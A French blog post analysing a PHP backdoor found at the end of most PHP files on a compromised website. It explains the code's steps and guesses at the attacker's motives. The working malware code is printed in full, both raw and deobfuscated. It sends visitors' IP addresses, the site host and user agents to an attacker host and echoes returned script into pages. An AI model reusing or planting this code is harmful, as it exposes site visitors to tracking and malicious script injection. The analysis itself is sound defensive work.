Analyse du code de compromission d'un site web

hacked.jpg

Voici le bloc de code trouvé à la fin de la majorité des fichiers PHP d'un site corrompu depuis au moins 2015.

Analysons le fonctionnement de cette charge malveillante, puis nous conclurons en essayant de deviner les motivations du pirate.

<?php
#cc8f73#
error_reporting(0); @ini_set('display_errors',0); $wp_goik8 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_goik8) && !preg_match ('/bot/i', $wp_goik8))){
$wp_goik098="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_goik8);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_goik098); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_8goik = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_8goik = @file_get_contents($wp_goik098);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_8goik=@stream_get_contents(@fopen($wp_goik098, "r"));}}
if (substr($wp_8goik,1,3) === 'scr'){ echo $wp_8goik; }
#/cc8f73#
?>

Qu'a fait le pirate pendant ces années? Essayons de comprendre sa charge?

Un petit peu d'indentation, et je change les noms de variables pour y voir plus clair. En effet on trouve les variables:

  • $wp_goik8
  • $wp_goik098
  • $wp_8goik

qui se ressemblent. C'est probablement une volonté d’offuscation. Je les change respectivement par:

  • $user_agent
  • $url_serveur_distant
  • $reponse_du_serveur_distant

A présent le code devient compréhensible:

<?php
#cc8f73#
    error_reporting(0); 
    @ini_set('display_errors',0); 
    $user_agent = @$_SERVER['HTTP_USER_AGENT']; 
    
    if (( preg_match ('/Gecko|MSIE/i', $user_agent) && !preg_match ('/bot/i', $user_agent))){

        $url_serveur_distant="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($user_agent);
 
        if (function_exists('curl_init') && function_exists('curl_exec')) {

            $ch = curl_init();
            curl_setopt ($ch, CURLOPT_URL,$url_serveur_distant);
            curl_setopt ($ch, CURLOPT_TIMEOUT, 20);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $reponse_du_serveur_distant = curl_exec ($ch); curl_close($ch);

        } elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {

            $reponse_du_serveur_distant = @file_get_contents($url_serveur_distant);

        }elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

            $reponse_du_serveur_distant=@stream_get_contents(@fopen($url_serveur_distant, "r"));
        }
    }
    if (substr($reponse_du_serveur_distant,1,3) === 'scr'){ 
        echo $reponse_du_serveur_distant; 
    }
#/cc8f73#
?>

Il désactive les erreurs PHP:

error_reporting(0); 
 @ini_set('display_errors',0);

Normalement, sur un site en production, elles sont déjà désactivées. Mais un site respectant les bonnes pratiques n'aurait peut être pas été corrompu.

Le but du pirate est de rendre la compromission plus discrète. Un peu plus loin, on verra que la compromission envoie des données à un serveur distant (opéré par le pirate). Appelons le "ServeurDuPirate". Ce dernier peut être en surcharge par exemple. Si ServeurDuPirate distant est down, la page web compromise retournera une page blanche, et pas un message d'erreur, contenant notamment l'URL de ServeurDuPirate.

Il s'intéresse au user agent.

$user_agent = @$_SERVER['HTTP_USER_AGENT'];

Le user agent est une donnée qui permet d'identifier le type de navigateur.

La condition:

if (( preg_match ('/Gecko|MSIE/i', $user_agent) && !preg_match ('/bot/i', $user_agent))){
....
}

Le code malveillant s'éxécute si l'user agent contient "Gecko" ou "MSIE". Autant dire dans 90% des cas. Cependant il élimine les bots. Probablement pour:

  • Alléger la charge vers ServeurDuPirate,
  • Ne pas nuire au référencement du site (le chargement de la page reste rapide pour les bots, mais est ralenti dans les autres cas).
  • Éviter la détection de la compromission?

L'envoi de données vers son serveur.

$url_serveur_distant="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($user_agent);

Il envoie une requête vers l'url http : / / web.https . com/web/ [1]avec des paramètres qui vont lui donner quelques infos:

  • L'IP de l'internaute
  • HTTP_HOST: le nom du site (ici ce serait blog-du-grouik.tinad.fr)
  • le user_agent

Tout le bloc:

if (function_exists('curl_init') && function_exists('curl_exec')) {

            $ch = curl_init();
            curl_setopt ($ch, CURLOPT_URL,$url_serveur_distant);
            curl_setopt ($ch, CURLOPT_TIMEOUT, 20);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $reponse_du_serveur_distant = curl_exec ($ch); curl_close($ch);

        } elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {

            $reponse_du_serveur_distant = @file_get_contents($url_serveur_distant);

        }elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

            $reponse_du_serveur_distant=@stream_get_contents(@fopen($url_serveur_distant, "r"));
        }

sert à créer la requête http vers ServeurDuPirate, et mettre la réponse dans la variable $reponse_du_serveur_distant . Au passage, ça peut vous donner des idées [2] pour le cas où curl n'est pas installé .

Traitement de la réponse:

if (substr($reponse_du_serveur_distant,1,3) === 'scr'){ 
        echo $reponse_du_serveur_distant; 
    }

Si la réponse commence par scr, celle-ci sera ajoutée à la fin de la page web donnée à l'internaute. Elle peut contenir du javascript qui sera interprété par le navigateur client. La réponse que fait ServeurDuPirate peut varier en fonction des paramètres IP, site, et user_agent.

La motivation du pirate?

Là, nous ne sommes pas dans une volonté de simplement détruire ou nuire bêtement [3]

Le(s) pirate(s) voulai(en)t ici soit:

  • Attaque ciblée, Faire une liste des gens qui s'intéressent au site et peut être même parfois tenter de compromettre les ordinateurs des visiteurs (via la possibilité d'injecter du javascript et une zéro day)?

Non, peu probable, l'asso propriétaire du site n'a pas un si grand intérêt. L'IP des visiteurs est récoltée, mais pas les détails comme la page précise ou le refferer . De plus, même si la compromission n'avait pas été repérée rapidement, elle est loin d'être fine est discrète. Cette hypothèse est donc peu probable (mais pas impossible).

  • Au hasard. Le site contenait plusieurs vieux CMS avec leurs failles connues. Un bot l'aurait peut être détecté.

Et donc la motivation du pirate serait: Jouer du javascript sur les navigateurs des visiteurs. Afficher sa publicité genre: encart qui prend toute la page "Votre PC est infecté, Contactez notre assistance au numéro...." (Micode en parle mieux que moii). Faire des redirections vers ses sites de pishing. Discrètement, faire miner du bitcoin au navigateur du visiteur.

Enfin, on peut imaginer que cette compromission n'a jamais servi ou servait uniquement occasionnellement. Qu'elle pouvait même se louer.

Notes

[1] Les espaces sont un ajout de ma part

[2] dans un développement légit

[3] J'ai vu des piratages qui modifiaient les méta-description seulement pour Google bot. L'idée dans ce cas là était de pénaliser de façon durable le classement du site dans le moteur de recherche.

Page top